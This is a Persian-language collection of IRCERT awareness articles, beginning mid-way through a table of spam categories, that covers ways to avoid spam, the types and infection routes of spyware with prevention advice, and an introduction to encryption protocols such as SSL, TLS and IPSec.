مانند: ابزار، خدمات تحقیقی، پوشاک و لوازم آرایشی

25%

محصولات

ارائه‌کننده یا ارجاع دهنده مربوط به پول، بازار بورس و سایر فرصتهای مالی

مانند: سرمایه‌گذاری، گزارشهای اعتباری، دارایی‌های ثابت و وام‌ها

20%

مالی

ارائه‌کننده محصولات یا سرویس‌هایی که مربوط به افراد بالای ۱۸ سال است که معمولا نامناسب و اهانت‌آمیر هستند

مانند: تبلیغات مربوط به مسائل جنسی

15%

بزرگسالان

ارائه‌کننده یا تبلیغ‌کننده کالاها و خدمات مربوط به اینترنت و کامپیوتر

مانند: میزبانی و طراحی وب.

7%

اینترنت

ارائه‌کننده یا تبلیغ‌کننده محصولات و خدمات مربوط به سلامتی

مانند: معالجات پزشکی، دارویی و درمانهای گیاهی

7%

تندرستی

موبوط به فعالیتهای کلاهبردای و فریبنده که تعمدا جنبه گمراه‌کننده دارند

مانند: سرمایه‌گذاری در نیجریه، طرحهای هرمی و نامه‌های زنجیره‌ای

7%

فریبنده

ارائه‌کننده یا تبلیغ‌کننده جوایز یا انجام فعالیتهای تفریحی با تخفیف

مانند: پیشنهادهای گذارندن تعطیلات، کازینوهای آنلاین و بازیها

6%

اوقات فراغت

بظاهر ولی نه واقعاً از طرف شرکتهای معروف که برای گول زدن کاربران بمنظور افشاشدن اطلاعات شخصی آنها مانند آدرس ایمیل، اطلاعات مالی و کلمات عبورشان است.

مانند: اطلاعات شماره حساب، تایید کارت اعتباری و بروزرسانی صدور صورتحساب

5%

کلاهبرداری

پیامهای تبلیغ کننده یک کاندیدای سیاسی، پیشنهادها برای اهدای پول به یک حزب سیاسی، پیشنهادها برای محصولات مربوط به مبارزات انتخاباتی و غیره.

مانند: حزب سیاسی و انتخابات

2%

سیاسی

پیامها با اطلاعات متعلق به تبلیغات یا خدمات مذهبی یا معنوی

مانند: فیزیک، ستاره‌شناسی، بعضی مذاهب

1%

معنوی

پیامهایی که به هیچ‌یک از گروههای فوق تعلق ندارند.

5%

سایر


﻿ IRCERT - چگونه با اسپم مقابله کنیم؟- مقالات

چگونه با اسپم مقابله کنیم؟

اولین قدم برای جلوگیری از اسپم داشتن یک ایمیل دیگر برای استفاده بعنوان ایمیل کم‌ارزش است که می‌توانید به این منظور به لیست استفاده‌کنندگان سرویس‌دهندگان ایمیل مجانی مانند Yahoo یا Hotmail بپیوندید. از این ایمیل برای مواقعی که نیاز به وارد کردن آدرس ایمیل خود در سایتها دارید، مثلا برای دانلود کردن نرم‌افزارها، استفاده کنید. گاهی وارد کردن ایمیلتان، باعث پیوستن شما به لیستهای ایمیلی می‌شود که خودتان نمی‌خواهید. با وارد کردن ایمیل دوم خود، مطمئن خواهید بود که اسپم‌ها به ایمیل اصلی شما وارد نخواهند شود.

تمام تلاش خود را برای جلوگیری از ارسال آدرس ایمیل خود به تابلوهای پیام و گروه‌های خبری بکارگیرید. فرستندگان اسپم برنامه‌های کوچکی به اسم Bot برای جستجو در این مکانها می‌فرستند که بدنبال "@" بگردند (این علامت به آنها می‌گوید که عبارت یافت‌شده یک آدرس ایمیل است). چنانچه می‌خواهید آدرس خود را روی این تابلوهای پیام بفرستید، دو انتخاب دارید: اول اینکه از ایمیل دوم خود استفاده کنید؛ و دوم اینکه، اگر شما به نیت پاسخ گرفتن از افراد دیگر آدرس خود را می‌فرستید، ممکن است بخواهید از ایمیل اصلی خود استفاده کنید، بنابراین بجای نوشتن آدرس ایمیل خود بصورت عادی، آنرا مانند این مثال ارسال کنید:

Info AT ircert DOT address.

این کار به توجه بیشتری از طرف کاربران دیگر برای ارسال ایمیل به شما نیاز دارد، اما شما را از کشف توسط ‌Bot ها مصون می‌دارد.

انتخاب آخر مشخصا برای گروههای خبری مناسب است. ممکن است به شما اجازه داده شود که نحوه نمایش آدرس ایمیل خود را هنگام ارسال پیام تغییر دهید. ممکن است بتوانید حروف اضافه به انتهای آدرس خود اضافه کنید و آن را به چیزی تبدیل کنید که از دید Bot ها متعلق به شما نباشد. مثلا

"info@ircet.comPUTER"

Botها نمی‌دانند که با این آدرسها چه کنند! اما فردی که این آدرس را روی گروه خبری می‌بیند خواهد فهمید که چه کند. البته بیشتر کاربران یک جمله با مضمون “ برای ارسال ایمیل PUTER را از آدرس حذف کنید” اضافه می‌کنند تا از سردرگمی احتمالی جلوگیری کنند.

نرم افزار فیلترینگ

نرم‌افزار خاصی برای فیلترینگ وجود دارد که اکثر اسپم‌هایی را که ممکن است دریافت کنید، فیلتر می‌کند. این نرم‌افزار ایمیل را قبل از اینکه شما آن را در صندوق پستی خود ببینید دریافت می‌کند و پیغامهایی را که بعنوان اسپم تشخیص دهد پاک می‌کند.

MailWasher یک برنامه عمومی و رایگان است که می‌تواند برای فیلتر کردن ایمیلها استفاده شود. این نرم‌افزار که برای سرویس‌دهنده ایمیل نصب می‌گردد، چند ویژگی دیگر نیز دارد که می‌تواند جلوی اسپم‌های آتی را هم بگیرد. برنامه یک پیام به فرستندگان اسپم می‌فرستد و به آنها می‌گوید که ایمیل شما وجود ندارد تا دیگر از آن فرستنده به آدرس ایمیل شما اسپم فرستاده نشود. شما همچنین می‌توانید پیامها را قبل از دانلود کردن پاک کنید که روشی برای جلوگیری از ورود یک ویروس به داخل کامپیوتر شما خواهد بود. البته بسته‌های نرم‌افزاری فیلترینگ دیگر نیز وجود دارند و یافتن آنها چندان مشکل نیست.

مسدود کردن فرستندگان

چنانچه متوجه شوید که اسپم‌هایی بطور منظم از یک آدرس مشخص دریافت می‌کنید، روشی برای مسدود کردن پیامهایی که از طرف آن آدرس میاید وجود دارد.

در Outlook Express یک پیغام را که از طرف فرستنده‌ای که می‌خواهید مسدود کنید، انتخاب کنید. از منوی “Message” گزینه “Block Sender” را انتخاب کنید. Outlook به شما خواهد گفت که این فرستنده مسدود شده است و از شما خواهد پرسید که آیا می‌خواهید تمام پیغامهایی را که از این فرستنده در کامپیوتر شما وجود دارد، پاک کنید یا خیر. یا مثلا در Yahoo می‌توانید در قسمت Options… ، با انتخاب ‌Block Address… فرستنده خاصی را مسدود کنید.

علیرغم تمام مواردی که ذکر شد، همچنان از اسپم‌ها در امان نخواهید بود. بهترین وسیله برای مقابله با بقیه اسپم‌ها استفاده از کلید “Delete” است. چنانچه در مورد یک پیام مطمئن نیستنید، مخصوصا اگر نگران ویروسها هستید، فقط آن را پاک کنید.


﻿ IRCERT - نرم‌افزارهای جاسوسی و مقابله با آنها (۱) - مقالات

نرم‌افزارهای جاسوسی و مقابله با آنها (۱)

نرم‌افزار جاسوسی چیست؟

حتما تاحالا برایتان پیش آمده است که در حال کار با اینترنت ناگهان پنجره‌های مختلف زیادی بدون میل شما باز می‌شوند که اصطلاحا popup windows نام دارند و وقت زیادی را باید برای بستن آنها صرف کنید. اگر در آن موقع کم‌حوصله باشید سریعا از کوره در میر‌وید! این مطلب به شما کمک می‌کند که متوجه شوید این پنجره‌های مزاحم از کجا می‌آیند.

نرم‌افزار جاسوسی هر نوع فناوری یا برنامه‌ روی کامپیوتر شماست که اطلاعات را بطور پنهانی جمع‌آوری می‌کند. این دیتا سپس به تبلیغ‌کنندگان یا به سایر گروه‌های علاقه‌مند فروخته می‌شود. نوع اطلاعاتی که از کامپیوتر شما جمع‌آوری می‌شود متفاوت است. بعضی نرم‌افزارهای جاسوسی فقط اطلاعات سیستمی شما را ردیابی می‌کنند – مانند نوع اتصال شما به اینترنت و سیستم‌عامل کامپیوترتان . بقیه نرم‌افزارهای جاسوسی اطلاعات فردی را جمع‌آوری می‌کنند ـ مانند ردگیری عادات و علائق شما در هنگام کار با اینترنت و یا گاهی بدتر، با فایلهای شخصی شما سروکار دارند. نرم‌افزار جاسوسی بدون رضایت و اجازه کاربر نصب می‌گردد. (چنانچه به یک شرکت اجازه جمع‌آوری دیتا را بدهید، دیگر نام این عمل جاسوسی نیست، بنابراین همیشه قبل از اجازه دادن، موارد افشای دیتا بصورت آنلاین را با دقت بخوانید). بعضی افراد به جاسوسی عمومی که گرایشات اینترنتی و نرم‌افزاری را ردگیری می‌کند تا جاییکه اطلاعات مشخصه فردی را شامل نشود، اعتراضی ندارند. اما بقیه به هر نوع دیتایی که بدون اجازه از کامپیوترشان برداشته می‌شود، معترض هستند. بهرحال، نرم‌افزار یا ابزاری که این اطلاعات را جمع‌آوری می‌کند، نرم‌افزار جاسوسی نامیده می‌شود.

نصب نرم‌افزار جاسوسی روی کامپیوتر شما می‌تواند با مشاهده یک وب‌سایت، دیدن یک ایمیل به فرمت ‌HTML یا با کلیک‌کردن یک پنجره بازشونده (pop-up) آغاز شود. روند دانلود به شما اطلاع داده نمی‌شود، بنابراین شما از اینکه کامپیوترتان پذیرای یک نرم‌افزار جاسوسی شده است، بی‌اطلاع خواهید ماند.

تولد نرم‌افزارهای جاسوسی

قبل از ظهور نرم‌افزارهای جاسوسی تبلیغ اینترنتی از طریق قرار دادن bannerهایی بود که در صفحات وب قابل مشاهده بود (البته هنوز هم وجود دارند)، و کاربران با کلیک کردن روی آنها از اطلاعات یا خدمات ارائه‌شده به دلخواه آگاهی می‌یافتند. اما بتدریج کاربران از این نحو تبلیغ خسته شده‌بودند و به این ترتیب تبلیغ‌کنندگان در حال ورشکستگی بودند، زیرا میزان درآمد آنها متناسب با میزان کلیک از طرف بازدیدکنندگان بر روی تبلیغاتی بود که بر روی وب‌سایت خود قرار می‌دادند.

تبلیغ‌کنندگان دریافتند که اگر همچنان می‌خواهند از طریق اینترنت درآمد داشته باشند، مجبور به تغییر تاکتیکهایشان هستند. بسیاری از آنها دریافت خود را بر اساس میزان واقعی فروش قرار دادند. بقیه به راههای جدید تبلیغ فکر کردند. آنها به روشی تازه رسیدند که به آنها اجازه تبلیغ محصولات را بدون داشتن وب‌سایت یا سرویس‌دهنده می‌داد و به این ترتیب نرم‌افزارهای جاسوسی پدید آمدند.

در ابتدا نرم‌افزار جاسوسی در دل برنامه‌های رایگان قرار می‌گرفت، اما بعده‌ها به حقه‌های کثیف‌تری! رو آوردند و آن استفاده از سوءاستفاده‌های هکری برای نصب نرم‌افزار جاسوسی روی کامپیوترهاست. اگر از سیستم‌های عامل رایج استفاده می‌کنید شانس شما برای داشتن نرم‌افزار جاسوسی روی سیستم‌تان بیشتر است. براحتی می‌توان ادعا کرد که بسیاری از کاربران خانگی بر روی کامپیوتر خود جاسوس! دارند.

انواع نرم افزارهای جاسوسی

همانطور که گفته شد، نرم افزار جاسوسی هر نوع نرم افزاری است که اطلاعات را از یک کامپیوتر بدون آگاهی کاربر بدست میاورد. انواع زیادی از این نوع نرم افزارها در اینترنت فعال هستند اما میتوان آنها را به دو گروه عمده تقسیم کرد:

نرم‌افزار جاسوسی خانگی (Domestic Spyware)

نرم‌افزاری است که معمولا توسط صاحبان کامپیوترها بمنظور آگاهی یافتن از تاثیرات اینترنت برروی شبکه های کامپیوتری خودشان، خریداری و نصب می گردد. مدیران از این نرم افزار برای آگاهی از فعالیتهای آنلاین کارمندان استفاده می کنند. بعضی افراد نیز برای اطلاع از فعالیتهای سایر اعضاء خانواده استفاده می کنند (مانند مشاهده محتویات اتاقهای گفتگو توسط والدینی که کودکانشان در آنها شرکت می کنند)

یک شخص ثالث نیز می تواند نرم‌افزار جاسوسی را بدون آگاهی صاحب کامپیوتر نصب کند. مجریان قانون از نرم افزارهای جاسوسی برای آگاهی یافتن از فعالیت مجرمانی استفاده میکنند که این مجرمان خود از همین نرم افزارهای جاسوسی برای حصول اطلاعات از کامپیوترهای شخصی به قصد دزدی دارایی‌ها استفاده کرده‌اند.

نرم افزار جاسوسی تجاری (Commercial Spyware)

این نرم‌افزار که بعنوان adware نیز شناخته می‌شود، نرم‌افزاری است که شرکتها برای تعقیب فعالیتهای وبگردی کاربران اینترنت استفاده می کنند. این شرکتها اغلب اطلاعات حاصل را به بازاریابان می فروشند و آنها کاربران را با تبلیغات خاص مورد هدف قرار می‌دهند - منظور تبلیغاتی است که با علائق کاربر مطابقت دارد و به احتمال زیاد برای وی جذاب است.

بدست آوردن اطلاعات به این سادگی موجب خوشحالی تبلیغ‌کنندگان می‌شود. سابقا، بازاریابان برای فهمیدن علائق افراد باید آنها را از طریق برگزاری مسابقات یا موارد مشابه تطمیع می کردند. آن روشهای کسب اطلاعات شخصی هنوز وجود دارد، اما در آن روشها قدرت خواندن و اطلاع از سرنوشت اطلاعات شخصی و پذیرفتن یا نپذیرفتن آنها توسط افراد وجود دارد. بهرحال، اطلاع از سلیقه‌های شما بصورت پنهانی با استفاده از نرم افزارهای جاسوسی بسیار آسانتر است و تصویر بسیار کاملتری به صنعت بازایابی ارائه می کند. در کل می توان ادعا کرد که نرم افزارهای جاسوسی همه جا هستند. منتظر مقاله‌های بعدی در این زمینه در سایت گروه امداد امنیت کامپیوتری ایران باشید.


﻿ IRCERT - نرم‌افزارهای جاسوسی و مقابله با آنها (۲) - مقالات

نرم‌افزارهای جاسوسی و مقابله با آنها (۲)

انواع و اهداف نرم‌افزارهای جاسوسی مختلف

نرم‌افزار جاسوسی هرچه نباشد، حداقل یک عامل آزاردهنده است که سرعت کامپیوتر را کم می‌کند، هارددیسک سیستم را بی‌جهت پر می‌کند و کامپیوتر شما را به هدفی برای تبلیغ‌کنندگان تبدیل می‌کند. فراتر از آگاهی از اطلاعات خصوصی شما، نرم‌افزار جاسوسی می‌تواند بعنوان ابزاری برای جرائمی مانند تقلب در شناسایی مورد استفاده قرار گیرد. در ادامه لیستی از انواع مختلف نرم‌افزارهای جاسوسی و هدفشان ارائه می‌شود.

ثبت‌کنندگان نشانی‌های وب و صفحات نمایش

ثبت‌کنندگان نشانی‌های وب، وب‌سایتها و صفحات دیده‌شده را ردیابی می‌کنند. ثبت‌کنندگان صفحه‌نمایش می‌توانند یک تصویر سیاه‌وسفید کوچک (برای کم‌کردن حجم تصویر) از صفحه پیش‌روی شما در هر زمان بگیرند و این تصاویر را بدون اطلاع شما ذخیره یا ارسال کنند. این روشها برای جاسوسی‌های خانگی متداول هستند.

ثبت‌کنند‌گان چت و ایمیل

این ثبت‌کنندگان یک کپی متنی از تمام ایمیلهای واردشونده و خارج‌شونده و چتها تهیه می‌کنند. یک جاسوس‌ خانگی به کرات از این روش استفاده می‌کند.

ثبت‌کنندگان کلید و کلمات عبور

هنگامی که شما مشغول کار با کامپیوتر هستید، یک نفر بالای سر شما ایستاده است و اعمال شما را نظارت می‌کند! ثبت‌کننده کلمه عبور این کار را می‌کند یعنی کلمات عبور تایپ‌شده را ردگیری می‌کند. اما ثبت‌کننده کلید تمام آنچه را که تایپ می‌شود، ثبت می‌کند.

حشرات وبی!

حشرات وبی بعنوان جاسوسان تبلیغ‌کننده یا نرم‌افزارهای تبلیغ شناخته می‌شوند. هنگامی که شما چنین نرم‌افزاری روی کامپیوتر خود دارید، بعد از انجام بعضی کارها، مانند تایپ کردن عباراتی در یک موتور جستجو، پنجره‌های بازشونده تبلیغاتی خاصی را مرتبط با عناوین مورد جستجو دریافت می‌کنید. این تبلیغات حتی گاهی می‌توانند زمانی که به اینترنت متصل نیستید، بر روی صفحه شما ظاهر شوند. اگر بطور پیوسته زیربار صفحات تبلیغاتی قراردارید، احتمالا یک حشره وبی بر روی کامپیوتر شما نصب شده است.

مرورگر ربایان!

بعضی‌ها کامپیوتر شما را برای استفاده خودشان بخدمت می‌گیرند ـ کاربران نرم‌افزارهای جاسوسی می‌توانند اتصال شما را برای ارسال اسپم‌هایشان از طریق سرویس‌دهنده‌اینترنت شما، بربایند!!! به این معنی که یک اسپم‌ساز انگل می‌تواند هزاران ایمیل اسپمی را از طریق اتصال کامپیوترتان به اینترنت و آدرس ISP‌ شما، ارسال کند. دسترسیهای با سرعت و حجم بالا به اینترنت معمولا هدف این نوع کاربران قرار می‌گیرند. اغلب قربانیان متوجه نمی‌شوند که از اعتبار آنها سوءاستفاده شده است، تا اینکه به خاطر شکایت علیه اسپم‌ها، سرویس‌دهنده‌اینترنت اتصالشان را قطع کند.

مودم ربایان!

اگر برای اتصال به اینترنت از یک مودم و خط تلفن استفاده می‌کنید، یک فرد بی‌مرام! ممکن است قادر باشد یک شماره‌گیر آنلاین برای برقراری یک اتصال جدید اینترنت بر روی کامپیوتر شما نصب کند. این اتصال ممکن است یک اتصال راه دور با هزینه بالا باشد. هنگامی که قبض تلفن بدستان میرسد، به شما شک وارد خواهد شد. این نرم‌افزارهای جاسوسی اغلب داخل اسپم و ایمیلهای مربوط به امور جنسی قرار دارند. بازکردن ایمیل میتواند بصورت سهوی باعث آغاز نصب شماره‌گیر شود. این افراد بدذات! که پی‌گیریشان کار آسانی نیست، روی این حقیقت حساب می‌کنند که شما قبض تلفن را قبل از اینکه فرصت پیگیری داشته باشید، پرداخت می‌کنید.

PC ربایان!

PCربایان میانبرهای(shortcuts) اینترنتی را در فولدر Favorites شما بدون خبردادن به خودتان قرار میدهند. این میانبرها باعث می‌شوند که بسیاری بطور اتفاقی از وب‌سایتشان دیدن کنید و به این ترتیب بصورت تصنعی آمار ترافیک سایت خود را بالا می‌برند. این اتفاق به آنها اجازه دریافت مبالغ بیشتری را بابت تبلیغات در سایتشان می‌دهد که هزینه پرداخت‌شده آن در واقع زمان و پهنای باندی است که از شما گرفته می‌شود. ممکن است بتوانید با تغییر انتخابهای اینترنت خود از دست این Fovorites کاذب رها شوید، اما گاهی تنها راه خلاص شدن از شر این لینکهای مزاحم پاک کردن آنها از داخل رجیستری است. بهرحال، ممکن است این نرم‌افزار جاسوسی طوری طراحی شده باشد که با هر بار راه‌اندازی مجدد کامپیوتر خودش را در داخل رجیستری قرار دهد. تنها راه حل پیش پای شما برای کشتن این نوع جاسوس متجاوز! فرمت کردن هارد کامپیوتر یا استفاده از یک برنامه ضدجاسوس بسیار قدرتمند است.

ترواها و ویروس‌ها

مانند اسب چوبی تروا که یونانیان برای ورود به شهر تروا استفاده کردند، این نرم‌افزار برای سوءاستفاده از کامپیوتر شما، خود را به شکلی بی‌ضرر درمیاورد. دیتای شما ممکن است کپی، توزیع یا تخریب شود. ویروس نیز مشابه تروا است با این تفاوت که قدرت ایجاد شبیه خود را دارد تا باعث خسارت به کامپیوترهای بیشتری شود. بهرحال، هردوی این قطعات آسیب‌رسان می‌توانند تحت تعریف نرم‌افزار جاسوسی قرار بگیرند،‌ زیرا کاربر از وجودشان بی‌اطلاع است و هدف واقعی آنان را نمی‌داند.

منتظر روش‌های مقابله به این جاسوسان در سایت گروه امداد امنیت کامپیوتری ایران باشید.


﻿ IRCERT - نرم‌افزارهای جاسوسی و مقابله با آنها (۳) - مقالات

نرم‌افزارهای جاسوسی و مقابله با آنها (۳)

چگونگی قرارگرفتن نرم‌افزار جاسوسی روی کامپیوتر و روش مقابله به آن

تنها مساله در مورد نرم‌افزار جاسوسی این نیست که چه مدت روی کامپیوتر شما قرار داشته و چه قصدی دارد، بلکه فهمیدن اینکه چگونه و از کجا این برنامه وارد کامپیوتر شما شده است، در درجه اول قرار دارد.

در شماره‌های (۱) و (۲) با نرم‌افزارهای جاسوسی و انواع‌ و عملکرد آنها آشنا شدیم. درست مانند علفهای هرز که بدون سروصدا هنگام قدم زدن در جنگل به جوراب شما می‌چسبند، هنگامی که مشغول گشت و گذار در اینترنت هستید، نرم‌افزار جاسوسی خودش را مانند یک مسافر قاچاقی به کامپیوتر شما می‌چسباند! اما قبل از اینکه هرچیزی بتواند روی کامپیوتر شما نصب گردد، معمولا باید روی چیزی کلیک یا برنامه‌ای را باز کنید. در زیر چند تا از معمولترین روشهای مورد استفاده برای فریب‌دادن کاربران برای نصب نرم‌افزارهای جاسوسی بیان شده است:

· بازکردن ایمیل اسپمی

· کلیک کردن روی پنجره‌های بازشونده فریبنده

· دانلود کردن رایگان برنامه‌ها، بازیها، ابزارها و غیره

· برنامه‌های اشتراک فایل

· مشاهده وب‌سایتهای ناجور!

· نرم‌افزارهای اجرای فایلهای صوتی و تصویری آنلاین

درحالیکه حجم فراوانی از محتوا روی اینترنت قرار دارد که برای تماشای اعمال شما بصورت پنهانی طراحی نشده است، بسیاری از نرم‌افزارهای رایگان یا ازرده‌خارج وجود دارد که بی‌سروصدا همراه با نرم‌افزار جاسوسی وارد کامپیوتر شما می‌شود. نرم‌افزار جاسوسی نه تنها علائق شما را برای تبلیغ‌کنندگان آشکار می‌سازد، بلکه می‌تواند منجر به افشای اطلاعات شخصی نیز شود. ببینیم نرم‌افزار جاسوسی چگونه روی هارددیسک شما قرار میگیرد و شما برای جلوگیری از آن چه می‌توانید بکنید.

اولا، یکی از بزرگترین اشتباهاتی که کاربران انجام میدهند این است که قبل از شروع گشت و گذار در وب تنظیمات سطح امنیتی خود را بسیار پایین انتخاب می‌کنند. سطح امنیتی پایین به تمام کوکی‌ها و برنامه‌های جاسوسی به سادگی اجازه ذخیره شدن در حافظه کامپیوتر را میدهد. کارهایی که شما می‌توانید برای دور نگهداشتن نرم‌افزارهای جاسوسی از سیستم خود انجام دهید شامل موارد زیر است:

· تنظیم سطح امنیتی به سطح پیش‌گزیده یا بالاتر

· نظارت دقیق بر آنچه دانلود می‌کنید

· به‌روز نگهداشتن سیستم‌عامل کامپیوتر

· نصب یک برنامه ضدجاسوسی که جلوی آنچه را که از دست می‌دهید، بگیرد!

برنامه ضدجاسوسی محل برنامه‌های جاسوسی را که بدون اطلاع شما وارد شده‌اند، تعیین می‌کند، آنها را قرنطینه و سپس پاک می‌کند.

در مرحله بعدی، به احساس و غریزه خود رجوع کنید! اگر منبعی آشنا یا قابل اعتماد بنظر نمی‌رسد، ایمیل را باز نکنید، popup‌ را کلیک نکنید و وب‌سایت را نبینید. برنامه‌های مورد نیاز خود را از منبع قابل اعتماد دریافت کنید. گاهی‌اوقات برنامه‌های مجانی ارزش دردسر بعدی را ندارند! هنگامی که به یک پیشنهاد فریبنده برخورد می‌کنید به انگیزه آن دقت کنید. چرا یک نفر می‌خواهد به شما به‌روزرسانیهای مرتب مجانی ارائه دهد؟! دنبالش نروید.

از تجربیات دیگران برای فهمیدن اینکه کدام نرم‌افزارها درون خود به برنامه‌های جاسوسی پناه داده‌اند، استفاده کنید. در عرض چند ثانیه می‌توانید جستجویی انجام دهید تا بفهمید دیگران در مورد نرم‌افزارهای توام با جاسوس، شامل برنامه‌های به اشتراک‌گذاری فایلها (مانند Kazza و BearShare) و نرم‌افزارهای اجرای فایلهای صوتی‌تصویری آنلاین چه می‌گویند. در مورد دوم صداهای اعتراض! علیه نرم‌افزارهای جاسوسی تاثیرگذار خواهد بود. برای مثال، یک برنامه محاسبه مالیات معروف اخیرا یک برنامه جاسوسی را بمنظور جلوگیری از هر گونه کپی‌برداری از فایلهایش ـ حتی برای مقاصد قانونی مانند تهیه پشتیبان یا استفاده سایر اعضای همان خانواده ـ داخل محصول خود قرار داد. اما مشتریان از این مساله ناراضی بودند که این نرم‌افزار توانایی نظارت بر رفتارشان را دارد، و بهمین دلیل برعلیه سازنده با صدای بلند! اعتراض کردند. شرکت نرم‌افزاری به حرف آنها گوش کرد و سال بعد نرم‌افزار را بدون برنامه جاسوسی فضول! به فروش رساند.

از آنجا که شما به نرم‌افزارهای جاسوسی “نه” می‌گویید، نصب‌کنندگان برای دریافت اجازه مزاحمتان نمی‌شوند! ـ بسیاری اعتقادی به انجام بازی جوانمردانه ندارند!!!‌ بعضی بازاریابان از حقه‌های عادی برای نصب جاسوس‌شان روی کامپیوتر شما استفاده می‌کنند. برای مثال، بخشی از یک نرم‌افزار به نام Gator وجود دارد که تلاش می‌کند شما را برای نصب محصولش از طریق یک popup تبلیغاتی فریب دهد. هنگامی که شما به پیشنهاد دانلود “نه ” بگویید (پنجره را ببندید)، popup دوم ظاهر می‌شود و می‌پرسد که “آیا مطمئن هستید؟” این سوال آری/خیر مبهم باعث می‌شود که افراد با کلیک جواب دهند، که به این ترتیب بدون آگاهی کاربر، دانلود آغاز می‌شود.

روش دیگری که باعث پیاده‌شدن نرم‌افزار جاسوسی روی کامپیوتر شما می‌شود، drive-by download نامیده می‌شود. وقتی شما یک وب‌سایت معلوم‌الحال! را مشاهده می‌کنید، به یک popup برمی‌خورید که از شما اجازه برای دانلود می‌خواهد. لحن! پیام باعث می‌شود که شما باور کنید که برای دیدن صفحه وب بازشده به دانلود نیاز است، حتی اگر نیازی نباشد. اگر “بله ” بگویید، برنامه جاسوس در کامپیوتر شما دانلود می‌شود. اما اگر پاسخ منفی بدهید، popupها در صفحات بعدی ظاهر می‌شوند تا بالاخره شما به کلیک کردن روی یکی از آنها فریفته شوید و به این ترتیب برنامه جاسوسی به صورت خاموش کار خود را آغاز می‌کند!

بعضی شرکتها از نرم‌افزارهای جاسوسی تبلیغاتی استفاده می‌کنند. وقتی این adwareها روی سیستم شما نصب شدند، شروع به بازکردن popupهای تبلیغاتی می‌کنند. به این ترتیب شما سیلقه‌های شخصی شما و منابع کامپیوتریتان (پهنای باند، اتصال اینترنت و زمان پردازش کامپیوتر) از اختیار شما خارج خواهد شد، اما در عوض هیچ‌چیز بدست نخواهید آورد بجز بمباران تبلیغاتی و اگر نرم‌افزار جاسوسی آدرس ایمیل شما را بدست آورد انبوهی از اسپم‌ها.

چون همواره روش‌های جدید آلوده کردن کامپیوتر شما توسط نرم‌افزارهای جاسوسی در حال ایجاد است، یک نرم‌افزار ضدجاسوسی نصب کنید. این نرم‌افزار به منظور کشف و بیرون‌کردن جاسوس‌ها قبل از اینکه شما را به‌زحمت بیندازند، طراحی شده است. اگر شما از برنامه ضدجاسوسی خود بعنوان سگ محافظ! استفاده کنید، شما را از دانلودهای بدون اجازه و بی‌خبر، آگاه خواهد کرد. نرم‌افزار جاسوسی مزاحمت ایجاد می‌کند و منجر به دردسرهای جدی می‌شود. اگر شما مراتب احتیاط را رعایت کنید، می‌توانید از دردسر احتمالی پرهیز کنید و کامپیوترتان را تمیز نگه دارید.


﻿ IRCERT - رمزنگاری در پروتکل‌های انتقال - مقالات

رمزنگاری در پروتکل‌های انتقال

تمرکز بیشتر روش‌های امنیت انتقال فایل بر اساس رمزنگاری دیتا در طول انتقال از طریق شبکه‌های عمومی مانند اینترنت است. دیتایی که در حال انتقال بین سازمانهاست بوضوح در معرض خطر ربوده ‌شدن در هر کدام از محلها قرار دارد. – مثلا در شبکه‌های محلی برای هر یک از طرفین یا مرزهای Internet-LAN که سرویس‌دهندگان‌اینترنت از طریق آنها مسیر دیتا را تا مقصد نهایی مشخص می‌کنند. حساسیت دیتا ممکن است بسیار متغییر باشد، زیرا دیتای انتقالی ممکن است بهر شکلی از رکوردهای مالی بسته‌بندی شده تا تراکنش‌های مستقیم باشند. در بعضی موارد، ممکن است علاوه بر محافظت دیتا روی اینترنت، نیاز به محافظت دیتا روی LAN نیز باشد. مشخصاً، محافظت از دیتا در مقابل حملات LAN مستلزم رمزنگاری دیتای انتقالی روی خود LAN است. به این ترتیب، بهرحال، نیاز به بسط امنیت تا برنامه‌هایی است که خود دیتا را تولید و مدیریت می‌کنند، و تنها اطمینان به راه‌حلهای محیطی کفایت نمی‌کند و به این ترتیب بر پیچیدگی مسأله امنیت افزوده می‌شود.

پروتکل‌ها

اگرچه ثابت‌شده است که رمزنگاری راه‌حل بدیهی مسائل محرمانگی است، اما سردرگمی در مورد دو نوع رمزنگاری (برنامه در مقابل شبکه) همچنان وجود دارد و بدلیل وجود پروتکلهای ارتباطی گوناگون است که نیازهای تعامل بیشتر آشکار می‌شود. (مانند IPSec ، S/MIME، SSL و TLS) اگرچه این پروتکلها قول تعامل را می‌دهند، اما تعامل کامل بدلیل مستقل بودن محصولات پروتکلها در حال حاضر وجود ندارد. آزمایشهایی در حال حاضر در حال انجام هستند که به حل شدن این مسائل کمک می‌کنند، اما کاربران باید مطمئن شوند که تعامل بین محصول انتخابیشان و محصولات سایر شرکای تجاری امری تثبیت شده است. پروتکل‌های ساده‌تر (SSL/TLS، IPSec و تا حدی پایین‌تر S/MIME ) عموماً مسائل کمتری از نظر تعامل دارند.

پروتکل‌های رمزنگاری انتقال

با ترکیب توانایی‌ها برای تایید هویت توسط رمزنگاری متقارن و نامتقارن برای ممکن ساختن ارتباطات تاییدشده و رمزشده، این پروتکلها پایه‌های امنیت را فراهم می‌کنند. تقربیاً تمام پروتکلها نیاز‌های جامعیت را پشتیبانی می‌کنند به طوری که محتویات ارتباطات نمی‌توانند تغییر یابند، اما بیشتر آنها از Non-Repudiation پشتیبانی نمی‌کنند و به این ترتیب امکان ایجاد رکوردهای پایداری را که هویت منبع را به محتوای پیام پیوند می‌دهند، ندارند.

به این چند پروتکل به طور مختصر اشاره می‌شود:

SSL

تکنولوژی SSL (Secure Socket Layer) اساس World Wide Web امن را تشکیل می‌دهد. SSL که در مرورگرهای وب کاملاً جاافتاده است، توسط بسیاری از سازمانها برای رمزنگاری تراکنش‌های وبی خود و انتقال فایل استفاده می‌شود. بعلاوه SSL بصورت روزافزون بعنوان یک مکانیسم امنیت در تلاقی با پروتکلهای پرشمار دیگر استفاده می‌شود و بهمین ترتیب ابزاری برای ارتباط سروربه‌سرور امن است. SSL ارتباطات رمزشده و بشکل آغازین خود تایید هویت سرور از طریق استفاده از گواهی را (در حالت کلاینت‌به‌سرور) پشتیبانی می‌کند. کاربران اغلب برای استفاده از برنامه‌ها از طریق کلمه عبور تایید هویت می‌شوند، و با پیشرفت SSL استاندارد (مثلا SSL V.3.0) تایید هویت کلاینت از طریق گواهی به این پروتکل اضافه شده است.

